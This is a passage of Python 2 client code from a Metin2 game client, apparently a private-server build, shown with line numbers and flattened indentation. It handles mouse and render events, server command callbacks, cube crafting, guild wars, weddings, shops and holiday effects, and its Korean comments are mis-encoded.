  1489. return
  1490.  
  1491. net.SendItemDropPacketNew(itemInvenType, itemVNum, itemCount)
  1492. # END_OF_PRIVATESHOP_DISABLE_ITEM_DROP
  1493.  
  1494. def OnMouseRightButtonDown(self):
  1495.  
  1496. self.CheckFocus()
  1497.  
  1498. if True == mouseModule.mouseController.isAttached():
  1499. mouseModule.mouseController.DeattachObject()
  1500.  
  1501. else:
  1502. player.SetMouseState(player.MBT_RIGHT, player.MBS_PRESS)
  1503.  
  1504. return True
  1505.  
  1506. def OnMouseRightButtonUp(self):
  1507. if True == mouseModule.mouseController.isAttached():
  1508. return True
  1509.  
  1510. player.SetMouseState(player.MBT_RIGHT, player.MBS_CLICK)
  1511. return True
  1512.  
  1513. def OnMouseMiddleButtonDown(self):
  1514. player.SetMouseMiddleButtonState(player.MBS_PRESS)
  1515.  
  1516. def OnMouseMiddleButtonUp(self):
  1517. player.SetMouseMiddleButtonState(player.MBS_CLICK)
  1518.  
  1519. def OnUpdate(self):
  1520. app.UpdateGame()
  1521.  
  1522. if self.mapNameShower.IsShow():
  1523. self.mapNameShower.Update()
  1524.  
  1525. if self.isShowDebugInfo:
  1526. self.UpdateDebugInfo()
  1527.  
  1528. if self.enableXMasBoom:
  1529. self.__XMasBoom_Update()
  1530.  
  1531. self.interface.BUILD_OnUpdate()
  1532.  
  1533.  
  1534. def UpdateDebugInfo(self):
  1535. #
  1536. # ij¸¯ÅÍ ÁÂÇ¥ ¹× FPS Ãâ·Â
  1537. (x, y, z) = player.GetMainCharacterPosition()
  1538. nUpdateTime = app.GetUpdateTime()
  1539. nUpdateFPS = app.GetUpdateFPS()
  1540. nRenderFPS = app.GetRenderFPS()
  1541. nFaceCount = app.GetFaceCount()
  1542. fFaceSpeed = app.GetFaceSpeed()
  1543. nST=background.GetRenderShadowTime()
  1544. (fAveRT, nCurRT) = app.GetRenderTime()
  1545. (iNum, fFogStart, fFogEnd, fFarCilp) = background.GetDistanceSetInfo()
  1546. (iPatch, iSplat, fSplatRatio, sTextureNum) = background.GetRenderedSplatNum()
  1547.  
  1548. def OnRender(self):
  1549. app.RenderGame()
  1550.  
  1551. if self.console.Console.collision:
  1552. background.RenderCollision()
  1553. chr.RenderCollision()
  1554.  
  1555. (x, y) = app.GetCursorPosition()
  1556.  
  1557. ########################
  1558. # Picking
  1559. ########################
  1560. textTail.UpdateAllTextTail()
  1561.  
  1562. if True == wndMgr.IsPickedWindow(self.hWnd):
  1563.  
  1564. self.PickingCharacterIndex = chr.Pick()
  1565.  
  1566. if -1 != self.PickingCharacterIndex:
  1567. textTail.ShowCharacterTextTail(self.PickingCharacterIndex)
  1568. if 0 != self.targetBoard.GetTargetVID():
  1569. textTail.ShowCharacterTextTail(self.targetBoard.GetTargetVID())
  1570.  
  1571. # ADD_ALWAYS_SHOW_NAME
  1572. if not self.__IsShowName():
  1573. self.PickingItemIndex = item.Pick()
  1574. if -1 != self.PickingItemIndex:
  1575. textTail.ShowItemTextTail(self.PickingItemIndex)
  1576. # END_OF_ADD_ALWAYS_SHOW_NAME
  1577.  
  1578. ## Show all name in the range
  1579.  
  1580. # ADD_ALWAYS_SHOW_NAME
  1581. if self.__IsShowName():
  1582. textTail.ShowAllTextTail()
  1583. self.PickingItemIndex = textTail.Pick(x, y)
  1584. # END_OF_ADD_ALWAYS_SHOW_NAME
  1585.  
  1586. textTail.UpdateShowingTextTail()
  1587. textTail.ArrangeTextTail()
  1588. if -1 != self.PickingItemIndex:
  1589. textTail.SelectItemName(self.PickingItemIndex)
  1590.  
  1591. grp.PopState()
  1592. grp.SetInterfaceRenderState()
  1593.  
  1594. textTail.Render()
  1595. textTail.HideAllTextTail()
  1596.  
  1597. def OnPressEscapeKey(self):
  1598. if app.TARGET == app.GetCursor():
  1599. app.SetCursor(app.NORMAL)
  1600.  
  1601. elif True == mouseModule.mouseController.isAttached():
  1602. mouseModule.mouseController.DeattachObject()
  1603.  
  1604. else:
  1605. self.interface.OpenSystemDialog()
  1606.  
  1607. return True
  1608.  
  1609. def OnIMEReturn(self):
  1610. if app.IsPressed(app.DIK_LSHIFT):
  1611. self.interface.OpenWhisperDialogWithoutTarget()
  1612. else:
  1613. self.interface.ToggleChat()
  1614. return True
  1615.  
  1616. def OnPressExitKey(self):
  1617. self.interface.ToggleSystemDialog()
  1618. return True
  1619.  
  1620. ## BINARY CALLBACK
  1621. ######################################################################################
  1622.  
  1623. # WEDDING
  1624. def BINARY_LoverInfo(self, name, lovePoint):
  1625. if self.interface.wndMessenger:
  1626. self.interface.wndMessenger.OnAddLover(name, lovePoint)
  1627. if self.affectShower:
  1628. self.affectShower.SetLoverInfo(name, lovePoint)
  1629.  
  1630. def BINARY_UpdateLovePoint(self, lovePoint):
  1631. if self.interface.wndMessenger:
  1632. self.interface.wndMessenger.OnUpdateLovePoint(lovePoint)
  1633. if self.affectShower:
  1634. self.affectShower.OnUpdateLovePoint(lovePoint)
  1635. # END_OF_WEDDING
  1636.  
  1637. # QUEST_CONFIRM
  1638. def BINARY_OnQuestConfirm(self, msg, timeout, pid):
  1639. confirmDialog = uiCommon.QuestionDialogWithTimeLimit()
  1640. confirmDialog.Open(msg, timeout)
  1641. confirmDialog.SetAcceptEvent(lambda answer=True, pid=pid: net.SendQuestConfirmPacket(answer, pid) or self.confirmDialog.Hide())
  1642. confirmDialog.SetCancelEvent(lambda answer=False, pid=pid: net.SendQuestConfirmPacket(answer, pid) or self.confirmDialog.Hide())
  1643. self.confirmDialog = confirmDialog
  1644. # END_OF_QUEST_CONFIRM
  1645.  
  1646. # GIFT command
  1647. def Gift_Show(self):
  1648. self.interface.ShowGift()
  1649.  
  1650. # CUBE
  1651. def BINARY_Cube_Open(self, npcVNUM):
  1652. self.currentCubeNPC = npcVNUM
  1653.  
  1654. self.interface.OpenCubeWindow()
  1655.  
  1656.  
  1657. if npcVNUM not in self.cubeInformation:
  1658. net.SendChatPacket("/cube r_info")
  1659. else:
  1660. cubeInfoList = self.cubeInformation[npcVNUM]
  1661.  
  1662. i = 0
  1663. for cubeInfo in cubeInfoList:
  1664. self.interface.wndCube.AddCubeResultItem(cubeInfo["vnum"], cubeInfo["count"])
  1665.  
  1666. j = 0
  1667. for materialList in cubeInfo["materialList"]:
  1668. for materialInfo in materialList:
  1669. itemVnum, itemCount = materialInfo
  1670. self.interface.wndCube.AddMaterialInfo(i, j, itemVnum, itemCount)
  1671. j = j + 1
  1672.  
  1673. i = i + 1
  1674.  
  1675. self.interface.wndCube.Refresh()
  1676.  
  1677. def BINARY_Cube_Close(self):
  1678. self.interface.CloseCubeWindow()
  1679.  
  1680. # Á¦ÀÛ¿¡ ÇÊ¿äÇÑ °ñµå, ¿¹»óµÇ´Â ¿Ï¼ºÇ°ÀÇ VNUM°ú °³¼ö Á¤º¸ update
  1681. def BINARY_Cube_UpdateInfo(self, gold, itemVnum, count):
  1682. self.interface.UpdateCubeInfo(gold, itemVnum, count)
  1683.  
  1684. def BINARY_Cube_Succeed(self, itemVnum, count):
  1685. print "Å¥ºê Á¦ÀÛ ¼º°ø"
  1686. self.interface.SucceedCubeWork(itemVnum, count)
  1687. pass
  1688.  
  1689. def BINARY_Cube_Failed(self):
  1690. print "Å¥ºê Á¦ÀÛ ½ÇÆÐ"
  1691. self.interface.FailedCubeWork()
  1692. pass
  1693.  
  1694. def BINARY_Cube_ResultList(self, npcVNUM, listText):
  1695. # ResultList Text Format : 72723,1/72725,1/72730.1/50001,5 ÀÌ·±½ÄÀ¸·Î "/" ¹®ÀÚ·Î ±¸ºÐµÈ ¸®½ºÆ®¸¦ ÁÜ
  1696. #print listText
  1697.  
  1698. if npcVNUM == 0:
  1699. npcVNUM = self.currentCubeNPC
  1700.  
  1701. self.cubeInformation[npcVNUM] = []
  1702.  
  1703. try:
  1704. for eachInfoText in listText.split("/"):
  1705. eachInfo = eachInfoText.split(",")
  1706. itemVnum = int(eachInfo[0])
  1707. itemCount = int(eachInfo[1])
  1708.  
  1709. self.cubeInformation[npcVNUM].append({"vnum": itemVnum, "count": itemCount})
  1710. self.interface.wndCube.AddCubeResultItem(itemVnum, itemCount)
  1711.  
  1712. resultCount = len(self.cubeInformation[npcVNUM])
  1713. requestCount = 7
  1714. modCount = resultCount % requestCount
  1715. splitCount = resultCount / requestCount
  1716. for i in xrange(splitCount):
  1717. #print("/cube r_info %d %d" % (i * requestCount, requestCount))
  1718. net.SendChatPacket("/cube r_info %d %d" % (i * requestCount, requestCount))
  1719.  
  1720. if 0 < modCount:
  1721. #print("/cube r_info %d %d" % (splitCount * requestCount, modCount))
  1722. net.SendChatPacket("/cube r_info %d %d" % (splitCount * requestCount, modCount))
  1723.  
  1724. except RuntimeError, msg:
  1725. dbg.TraceError(msg)
  1726. return 0
  1727.  
  1728. pass
  1729.  
  1730. def BINARY_Cube_MaterialInfo(self, startIndex, listCount, listText):
  1731. # Material Text Format : 125,1|126,2|127,2|123,5&555,5&555,4/120000
  1732. try:
  1733. #print listText
  1734.  
  1735. if 3 > len(listText):
  1736. dbg.TraceError("Wrong Cube Material Infomation")
  1737. return 0
  1738.  
  1739.  
  1740.  
  1741. eachResultList = listText.split("@")
  1742.  
  1743. cubeInfo = self.cubeInformation[self.currentCubeNPC]
  1744.  
  1745. itemIndex = 0
  1746. for eachResultText in eachResultList:
  1747. cubeInfo[startIndex + itemIndex]["materialList"] = [[], [], [], [], []]
  1748. materialList = cubeInfo[startIndex + itemIndex]["materialList"]
  1749.  
  1750. gold = 0
  1751. splitResult = eachResultText.split("/")
  1752. if 1 < len(splitResult):
  1753. gold = int(splitResult[1])
  1754.  
  1755. #print "splitResult : ", splitResult
  1756. eachMaterialList = splitResult[0].split("&")
  1757.  
  1758. i = 0
  1759. for eachMaterialText in eachMaterialList:
  1760. complicatedList = eachMaterialText.split("|")
  1761.  
  1762. if 0 < len(complicatedList):
  1763. for complicatedText in complicatedList:
  1764. (itemVnum, itemCount) = complicatedText.split(",")
  1765. itemVnum = int(itemVnum)
  1766. itemCount = int(itemCount)
  1767. self.interface.wndCube.AddMaterialInfo(itemIndex + startIndex, i, itemVnum, itemCount)
  1768.  
  1769. materialList[i].append((itemVnum, itemCount))
  1770.  
  1771. else:
  1772. itemVnum, itemCount = eachMaterialText.split(",")
  1773. itemVnum = int(itemVnum)
  1774. itemCount = int(itemCount)
  1775. self.interface.wndCube.AddMaterialInfo(itemIndex + startIndex, i, itemVnum, itemCount)
  1776.  
  1777. materialList[i].append((itemVnum, itemCount))
  1778.  
  1779. i = i + 1
  1780.  
  1781.  
  1782.  
  1783. itemIndex = itemIndex + 1
  1784.  
  1785. self.interface.wndCube.Refresh()
  1786.  
  1787.  
  1788. except RuntimeError, msg:
  1789. dbg.TraceError(msg)
  1790. return 0
  1791.  
  1792. pass
  1793.  
  1794. # END_OF_CUBE
  1795.  
  1796. # ¿ëÈ¥¼®
  1797. def BINARY_Highlight_Item(self, inven_type, inven_pos):
  1798. self.interface.Highligt_Item(inven_type, inven_pos)
  1799.  
  1800. def BINARY_DragonSoulRefineWindow_Open(self):
  1801. self.interface.OpenDragonSoulRefineWindow()
  1802.  
  1803. def BINARY_DragonSoulRefineWindow_RefineFail(self, reason, inven_type, inven_pos):
  1804. self.interface.FailDragonSoulRefine(reason, inven_type, inven_pos)
  1805.  
  1806. def BINARY_DragonSoulRefineWindow_RefineSucceed(self, inven_type, inven_pos):
  1807. self.interface.SucceedDragonSoulRefine(inven_type, inven_pos)
  1808.  
  1809. # END of DRAGON SOUL REFINE WINDOW
  1810.  
  1811. def BINARY_SetBigMessage(self, message):
  1812. self.interface.bigBoard.SetTip(message)
  1813.  
  1814. def BINARY_SetTipMessage(self, message):
  1815. self.interface.tipBoard.SetTip(message)
  1816.  
  1817. def BINARY_AppendNotifyMessage(self, type):
  1818. if not type in localeInfo.NOTIFY_MESSAGE:
  1819. return
  1820. chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.NOTIFY_MESSAGE[type])
  1821.  
  1822. def BINARY_Guild_EnterGuildArea(self, areaID):
  1823. self.interface.BULID_EnterGuildArea(areaID)
  1824.  
  1825. def BINARY_Guild_ExitGuildArea(self, areaID):
  1826. self.interface.BULID_ExitGuildArea(areaID)
  1827.  
  1828. def BINARY_GuildWar_OnSendDeclare(self, guildID):
  1829. pass
  1830.  
  1831. def BINARY_GuildWar_OnRecvDeclare(self, guildID, warType):
  1832. mainCharacterName = player.GetMainCharacterName()
  1833. masterName = guild.GetGuildMasterName()
  1834. if mainCharacterName == masterName:
  1835. self.__GuildWar_OpenAskDialog(guildID, warType)
  1836.  
  1837. def BINARY_GuildWar_OnRecvPoint(self, gainGuildID, opponentGuildID, point):
  1838. self.interface.OnRecvGuildWarPoint(gainGuildID, opponentGuildID, point)
  1839.  
  1840. def BINARY_GuildWar_OnStart(self, guildSelf, guildOpp):
  1841. self.interface.OnStartGuildWar(guildSelf, guildOpp)
  1842.  
  1843. def BINARY_GuildWar_OnEnd(self, guildSelf, guildOpp):
  1844. self.interface.OnEndGuildWar(guildSelf, guildOpp)
  1845.  
  1846. def BINARY_BettingGuildWar_SetObserverMode(self, isEnable):
  1847. self.interface.BINARY_SetObserverMode(isEnable)
  1848.  
  1849. def BINARY_BettingGuildWar_UpdateObserverCount(self, observerCount):
  1850. self.interface.wndMiniMap.UpdateObserverCount(observerCount)
  1851.  
  1852. def BINARY_Cards_UpdateInfo(self, hand_1, hand_1_v, hand_2, hand_2_v, hand_3, hand_3_v, hand_4, hand_4_v, hand_5, hand_5_v, cards_left, points):
  1853. self.interface.UpdateCardsInfo(hand_1, hand_1_v, hand_2, hand_2_v, hand_3, hand_3_v, hand_4, hand_4_v, hand_5, hand_5_v, cards_left, points)
  1854.  
  1855. def BINARY_Cards_FieldUpdateInfo(self, hand_1, hand_1_v, hand_2, hand_2_v, hand_3, hand_3_v, points):
  1856. self.interface.UpdateCardsFieldInfo(hand_1, hand_1_v, hand_2, hand_2_v, hand_3, hand_3_v, points)
  1857.  
  1858. def BINARY_Cards_PutReward(self, hand_1, hand_1_v, hand_2, hand_2_v, hand_3, hand_3_v, points):
  1859. self.interface.CardsPutReward(hand_1, hand_1_v, hand_2, hand_2_v, hand_3, hand_3_v, points)
  1860.  
  1861. def BINARY_Cards_ShowIcon(self):
  1862. self.interface.CardsShowIcon()
  1863.  
  1864. def BINARY_Cards_Open(self, safemode):
  1865. self.interface.OpenCardsWindow(safemode)
  1866.  
  1867. def __GuildWar_UpdateMemberCount(self, guildID1, memberCount1, guildID2, memberCount2, observerCount):
  1868. guildID1 = int(guildID1)
  1869. guildID2 = int(guildID2)
  1870. memberCount1 = int(memberCount1)
  1871. memberCount2 = int(memberCount2)
  1872. observerCount = int(observerCount)
  1873.  
  1874. self.interface.UpdateMemberCount(guildID1, memberCount1, guildID2, memberCount2)
  1875. self.interface.wndMiniMap.UpdateObserverCount(observerCount)
  1876.  
  1877. def __GuildWar_OpenAskDialog(self, guildID, warType):
  1878.  
  1879. guildName = guild.GetGuildName(guildID)
  1880.  
  1881. # REMOVED_GUILD_BUG_FIX
  1882. if "Noname" == guildName:
  1883. return
  1884. # END_OF_REMOVED_GUILD_BUG_FIX
  1885.  
  1886. import uiGuild
  1887. questionDialog = uiGuild.AcceptGuildWarDialog()
  1888. questionDialog.SAFE_SetAcceptEvent(self.__GuildWar_OnAccept)
  1889. questionDialog.SAFE_SetCancelEvent(self.__GuildWar_OnDecline)
  1890. questionDialog.Open(guildName, warType)
  1891.  
  1892. self.guildWarQuestionDialog = questionDialog
  1893.  
  1894. def __GuildWar_CloseAskDialog(self):
  1895. self.guildWarQuestionDialog.Close()
  1896. self.guildWarQuestionDialog = None
  1897.  
  1898. def __GuildWar_OnAccept(self):
  1899.  
  1900. guildName = self.guildWarQuestionDialog.GetGuildName()
  1901.  
  1902. net.SendChatPacket("/war " + guildName)
  1903. self.__GuildWar_CloseAskDialog()
  1904.  
  1905. return 1
  1906.  
  1907. def __GuildWar_OnDecline(self):
  1908.  
  1909. guildName = self.guildWarQuestionDialog.GetGuildName()
  1910.  
  1911. net.SendChatPacket("/nowar " + guildName)
  1912. self.__GuildWar_CloseAskDialog()
  1913.  
  1914. return 1
  1915. ## BINARY CALLBACK
  1916. ######################################################################################
  1917.  
  1918. def __ServerCommand_Build(self):
  1919. serverCommandList={
  1920. "ConsoleEnable" : self.__Console_Enable,
  1921. "DayMode" : self.__DayMode_Update,
  1922. "PRESERVE_DayMode" : self.__PRESERVE_DayMode_Update,
  1923. "CloseRestartWindow" : self.__RestartDialog_Close,
  1924. "OpenPrivateShop" : self.__PrivateShop_Open,
  1925. "OpenOfflineShop" : self.__OfflineShop_Open,
  1926. "PartyHealReady" : self.PartyHealReady,
  1927. "ShowMeSafeboxPassword" : self.AskSafeboxPassword,
  1928. "CloseSafebox" : self.CommandCloseSafebox,
  1929.  
  1930. # ITEM_MALL
  1931. "CloseMall" : self.CommandCloseMall,
  1932. "ShowMeMallPassword" : self.AskMallPassword,
  1933. "item_mall" : self.__ItemMall_Open,
  1934. # END_OF_ITEM_MALL
  1935.  
  1936. #Telep
  1937. "Telep" : self.__MakeTelep,
  1938.  
  1939. ##barbut
  1940. "DiceDone" : self.__DiceHasDone,
  1941.  
  1942.  
  1943. "RefineSuceeded" : self.RefineSuceededMessage,
  1944. "RefineFailed" : self.RefineFailedMessage,
  1945. "xmas_snow" : self.__XMasSnow_Enable,
  1946. "xmas_boom" : self.__XMasBoom_Enable,
  1947. "xmas_tree" : self.__XMasTree_Enable,
  1948. "newyear_boom" : self.__XMasBoom_Enable,
  1949. "PartyRequest" : self.__PartyRequestQuestion,
  1950. "PartyRequestDenied" : self.__PartyRequestDenied,
  1951. "horse_state" : self.__Horse_UpdateState,
  1952. "hide_horse_state" : self.__Horse_HideState,
  1953. "WarUC" : self.__GuildWar_UpdateMemberCount,
  1954. "test_server" : self.__EnableTestServerFlag,
  1955. "mall" : self.__InGameShop_Show,
  1956.  
  1957. # WEDDING
  1958. "lover_login" : self.__LoginLover,
  1959. "lover_logout" : self.__LogoutLover,
  1960. "lover_near" : self.__LoverNear,
  1961. "lover_far" : self.__LoverFar,
  1962. "lover_divorce" : self.__LoverDivorce,
  1963. # END_OF_WEDDING
  1964.  
  1965. # PRIVATE_SHOP_PRICE_LIST
  1966. "MyShopPriceList" : self.__PrivateShop_PriceList,
  1967. # END_OF_PRIVATE_SHOP_PRICE_LIST
  1968. }
  1969.  
  1970. self.serverCommander=stringCommander.Analyzer()
  1971. for serverCommandItem in serverCommandList.items():
  1972. self.serverCommander.SAFE_RegisterCallBack(
  1973. serverCommandItem[0], serverCommandItem[1]
  1974. )
  1975.  
  1976. def __MakeTelep(self, qid):
  1977. constInfo.Telepqin= int(qid)
  1978.  
  1979. def BINARY_ServerCommand_Run(self, line):
  1980. #dbg.TraceError(line)
  1981. try:
  1982. #print " BINARY_ServerCommand_Run", line
  1983. return self.serverCommander.Run(line)
  1984. except RuntimeError, msg:
  1985. dbg.TraceError(msg)
  1986. return 0
  1987.  
  1988. def __ProcessPreservedServerCommand(self):
  1989. try:
  1990. command = net.GetPreservedServerCommand()
  1991. while command:
  1992. print " __ProcessPreservedServerCommand", command
  1993. self.serverCommander.Run(command)
  1994. command = net.GetPreservedServerCommand()
  1995. except RuntimeError, msg:
  1996. dbg.TraceError(msg)
  1997. return 0
  1998.  
  1999. def PartyHealReady(self):
  2000. self.interface.PartyHealReady()
  2001.  
  2002. def AskSafeboxPassword(self):
  2003. self.interface.AskSafeboxPassword()
  2004.  
  2005. # ITEM_MALL
  2006. def AskMallPassword(self):
  2007. self.interface.AskMallPassword()
  2008.  
  2009. def __ItemMall_Open(self):
  2010. self.interface.OpenItemMall();
  2011.  
  2012. def CommandCloseMall(self):
  2013. self.interface.CommandCloseMall()
  2014. # END_OF_ITEM_MALL
  2015.  
  2016. def RefineSuceededMessage(self):
  2017. snd.PlaySound("sound/ui/make_soket.wav")
  2018. self.PopupMessage(localeInfo.REFINE_SUCCESS)
  2019.  
  2020. def RefineFailedMessage(self):
  2021. snd.PlaySound("sound/ui/jaeryun_fail.wav")
  2022. self.PopupMessage(localeInfo.REFINE_FAILURE)
  2023.  
  2024. def CommandCloseSafebox(self):
  2025. self.interface.CommandCloseSafebox()
  2026.  
  2027. # PRIVATE_SHOP_PRICE_LIST
  2028. def __PrivateShop_PriceList(self, itemVNum, itemPrice):
  2029. uiPrivateShopBuilder.SetPrivateShopItemPrice(itemVNum, itemPrice)
  2030. # END_OF_PRIVATE_SHOP_PRICE_LIST
  2031.  
  2032. def __Horse_HideState(self):
  2033. self.affectShower.SetHorseState(0, 0, 0)
  2034.  
  2035. def __Horse_UpdateState(self, level, health, battery):
  2036. self.affectShower.SetHorseState(int(level), int(health), int(battery))
  2037.  
  2038. def __IsXMasMap(self):
  2039. mapDict = ( "metin2_map_n_flame_01",
  2040. "metin2_map_n_desert_01",
  2041. "metin2_map_spiderdungeon",
  2042. "metin2_map_deviltower1", )
  2043.  
  2044. if background.GetCurrentMapName() in mapDict:
  2045. return False
  2046.  
  2047. return True
  2048.  
  2049. def __XMasSnow_Enable(self, mode):
  2050. if "1"==mode:
  2051.  
  2052. if not self.__IsXMasMap():
  2053. return
  2054.  
  2055. print "XMAS_SNOW ON"
  2056. background.EnableSnow(1)
  2057.  
  2058. else:
  2059. print "XMAS_SNOW OFF"
  2060. background.EnableSnow(0)
  2061.  
  2062. def __XMasBoom_Enable(self, mode):
  2063. if "1"==mode:
  2064.  
  2065. if not self.__IsXMasMap():
  2066. return
  2067.  
  2068. print "XMAS_BOOM ON"
  2069. self.__DayMode_Update("dark")
  2070. self.enableXMasBoom = True
  2071. self.startTimeXMasBoom = app.GetTime()
  2072. else:
  2073. print "XMAS_BOOM OFF"
  2074. self.__DayMode_Update("light")
  2075. self.enableXMasBoom = False
  2076.  
  2077. def __XMasTree_Enable(self, grade):
  2078.  
  2079. print "XMAS_TREE ", grade
  2080. background.SetXMasTree(int(grade))
  2081.  
  2082. def __RestartDialog_Close(self):
  2083. self.interface.CloseRestartDialog()
  2084.  
  2085. def __Console_Enable(self):
  2086. constInfo.CONSOLE_ENABLE = True
  2087. self.consoleEnable = True
  2088. app.EnableSpecialCameraMode()
  2089. ui.EnablePaste(True)
  2090.  
  2091. ## PrivateShop
  2092. def __PrivateShop_Open(self):
  2093. self.interface.OpenPrivateShopInputNameDialog()
  2094.  
  2095. def BINARY_PrivateShop_Appear(self, vid, text):
  2096. self.interface.AppearPrivateShop(vid, text)
  2097.  
  2098. def BINARY_PrivateShop_Disappear(self, vid):
  2099. self.interface.DisappearPrivateShop(vid)
  2100.  
  2101. # OfflineShop
  2102. def __OfflineShop_Open(self):
  2103. self.interface.OpenOfflineShopInputNameDialog()
  2104.  
  2105. def BINARY_OfflineShop_Appear(self, vid, text):
  2106. if (chr.GetInstanceType(vid) == chr.INSTANCE_TYPE_NPC):
  2107. self.interface.AppearOfflineShop(vid, text)
  2108.  
  2109. def BINARY_OfflineShop_Disappear(self, vid):
  2110. if (chr.GetInstanceType(vid) == chr.INSTANCE_TYPE_NPC):
  2111. self.interface.DisappearOfflineShop(vid)
  2112.  
  2113. ## DayMode
  2114. def __PRESERVE_DayMode_Update(self, mode):
  2115. if "light"==mode:
  2116. background.SetEnvironmentData(0)
  2117. elif "dark"==mode:
  2118.  
  2119. if not self.__IsXMasMap():
  2120. return
  2121.  
  2122. background.RegisterEnvironmentData(1, constInfo.ENVIRONMENT_NIGHT)
  2123. background.SetEnvironmentData(1)
  2124.  
  2125. def __DayMode_Update(self, mode):
  2126. if "light"==mode:
  2127. self.curtain.SAFE_FadeOut(self.__DayMode_OnCompleteChangeToLight)
  2128. elif "dark"==mode:
  2129.  
  2130. if not self.__IsXMasMap():
  2131. return
  2132.  
  2133. self.curtain.SAFE_FadeOut(self.__DayMode_OnCompleteChangeToDark)
  2134.  
  2135. def __DayMode_OnCompleteChangeToLight(self):
  2136. background.SetEnvironmentData(0)
  2137. self.curtain.FadeIn()
  2138.  
  2139. def __DayMode_OnCompleteChangeToDark(self):
  2140. background.RegisterEnvironmentData(1, constInfo.ENVIRONMENT_NIGHT)
  2141. background.SetEnvironmentData(1)
  2142. self.curtain.FadeIn()
  2143.  
  2144. ## XMasBoom
  2145. def __XMasBoom_Update(self):
  2146.  
  2147. self.BOOM_DATA_LIST = ( (2, 5), (5, 2), (7, 3), (10, 3), (20, 5) )
  2148. if self.indexXMasBoom >= len(self.BOOM_DATA_LIST):
  2149. return
  2150.  
  2151. boomTime = self.BOOM_DATA_LIST[self.indexXMasBoom][0]
  2152. boomCount = self.BOOM_DATA_LIST[self.indexXMasBoom][1]
  2153.  
  2154. if app.GetTime() - self.startTimeXMasBoom > boomTime:
  2155.  
  2156. self.indexXMasBoom += 1
  2157.  
  2158. for i in xrange(boomCount):
  2159. self.__XMasBoom_Boom()
  2160.  
  2161. def __XMasBoom_Boom(self):
  2162. x, y, z = player.GetMainCharacterPosition()
  2163. randX = app.GetRandom(-150, 150)
  2164. randY = app.GetRandom(-150, 150)
  2165.  
  2166. snd.PlaySound3D(x+randX, -y+randY, z, "sound/common/etc/salute.mp3")
  2167.  
  2168. def __PartyRequestQuestion(self, vid):
  2169. vid = int(vid)
  2170. partyRequestQuestionDialog = uiCommon.QuestionDialog()
  2171. partyRequestQuestionDialog.SetText(chr.GetNameByVID(vid) + localeInfo.PARTY_DO_YOU_ACCEPT)
  2172. partyRequestQuestionDialog.SetAcceptText(localeInfo.UI_ACCEPT)
  2173. partyRequestQuestionDialog.SetCancelText(localeInfo.UI_DENY)
  2174. partyRequestQuestionDialog.SetAcceptEvent(lambda arg=True: self.__AnswerPartyRequest(arg))
  2175. partyRequestQuestionDialog.SetCancelEvent(lambda arg=False: self.__AnswerPartyRequest(arg))
  2176. partyRequestQuestionDialog.Open()
  2177. partyRequestQuestionDialog.vid = vid
  2178. self.partyRequestQuestionDialog = partyRequestQuestionDialog
  2179.  
  2180. def __AnswerPartyRequest(self, answer):
  2181. if not self.partyRequestQuestionDialog:
  2182. return
  2183.  
  2184. vid = self.partyRequestQuestionDialog.vid
  2185.  
  2186. if answer:
  2187. net.SendChatPacket("/party_request_accept " + str(vid))
  2188. else:
  2189. net.SendChatPacket("/party_request_deny " + str(vid))
  2190.  
  2191. self.partyRequestQuestionDialog.Close()
  2192. self.partyRequestQuestionDialog = None
  2193.  
  2194. def __PartyRequestDenied(self):
  2195. self.PopupMessage(localeInfo.PARTY_REQUEST_DENIED)
  2196.  
  2197. def __EnableTestServerFlag(self):
  2198. app.EnableTestServerFlag()
  2199.  
  2200. def __InGameShop_Show(self, url):
  2201. if constInfo.IN_GAME_SHOP_ENABLE:
  2202. self.interface.OpenWebWindow(url)
  2203.  
  2204. # WEDDING
  2205. def __LoginLover(self):
  2206. if self.interface.wndMessenger:
  2207. self.interface.wndMessenger.OnLoginLover()
  2208.  
  2209. def __LogoutLover(self):
  2210. if self.interface.wndMessenger:
  2211. self.interface.wndMessenger.OnLogoutLover()
  2212. if self.affectShower:
  2213. self.affectShower.HideLoverState()
  2214.  
  2215. def __LoverNear(self):
  2216. if self.affectShower:
  2217. self.affectShower.ShowLoverState()
  2218.  
  2219. def __LoverFar(self):
  2220. if self.affectShower:
  2221. self.affectShower.HideLoverState()
  2222.  
  2223. def __LoverDivorce(self):
  2224. if self.interface.wndMessenger:
  2225. self.interface.wndMessenger.ClearLoverInfo()
  2226. if self.affectShower:
  2227. self.affectShower.ClearLoverState()
  2228. # END_OF_WEDDING
  2229.  
  2230. if app.ENABLE_SEND_TARGET_INFO:
  2231. def BINARY_AddTargetMonsterDropInfo(self, raceNum, itemVnum, itemCount):
  2232. if not raceNum in constInfo.MONSTER_INFO_DATA:
  2233. constInfo.MONSTER_INFO_DATA.update({raceNum : {}})
  2234. constInfo.MONSTER_INFO_DATA[raceNum].update({"items" : []})
  2235. curList = constInfo.MONSTER_INFO_DATA[raceNum]["items"]
  2236.  
  2237. isUpgradeable = False
  2238. isMetin = False
  2239. item.SelectItem(itemVnum)
  2240. if item.GetItemType() == item.ITEM_TYPE_WEAPON or item.GetItemType() == item.ITEM_TYPE_ARMOR:
  2241. isUpgradeable = True
  2242. elif item.GetItemType() == item.ITEM_TYPE_METIN:
  2243. isMetin = True
  2244.  
  2245. for curItem in curList:
  2246. if isUpgradeable:
  2247. if curItem.has_key("vnum_list") and curItem["vnum_list"][0] / 10 * 10 == itemVnum / 10 * 10:
  2248. if not (itemVnum in curItem["vnum_list"]):
  2249. curItem["vnum_list"].append(itemVnum)
  2250. return
  2251. elif isMetin:
  2252. if curItem.has_key("vnum_list"):
  2253. baseVnum = curItem["vnum_list"][0]
  2254. if curItem.has_key("vnum_list") and (baseVnum - baseVnum%1000) == (itemVnum - itemVnum%1000):
  2255. if not (itemVnum in curItem["vnum_list"]):
  2256. curItem["vnum_list"].append(itemVnum)
  2257. return
  2258. else:
  2259. if curItem.has_key("vnum") and curItem["vnum"] == itemVnum and curItem["count"] == itemCount:
  2260. return
  2261.  
  2262. if isUpgradeable or isMetin:
  2263. curList.append({"vnum_list":[itemVnum], "count":itemCount})
  2264. else:
  2265. curList.append({"vnum":itemVnum, "count":itemCount})
  2266.  
  2267. def BINARY_RefreshTargetMonsterDropInfo(self, raceNum):
  2268. self.targetBoard.RefreshMonsterInfoBoard()
  2269.  
  2270. if app.ENABLE_SASH_SYSTEM:
  2271. def ActSash(self, iAct, bWindow):
  2272. if self.interface:
  2273. self.interface.ActSash(iAct, bWindow)
  2274.  
  2275. def AlertSash(self, bWindow):
  2276. snd.PlaySound("sound/ui/make_soket.wav")
  2277. if bWindow:
  2278. self.PopupMessage(localeInfo.SASH_DEL_SERVEITEM)
  2279. else:
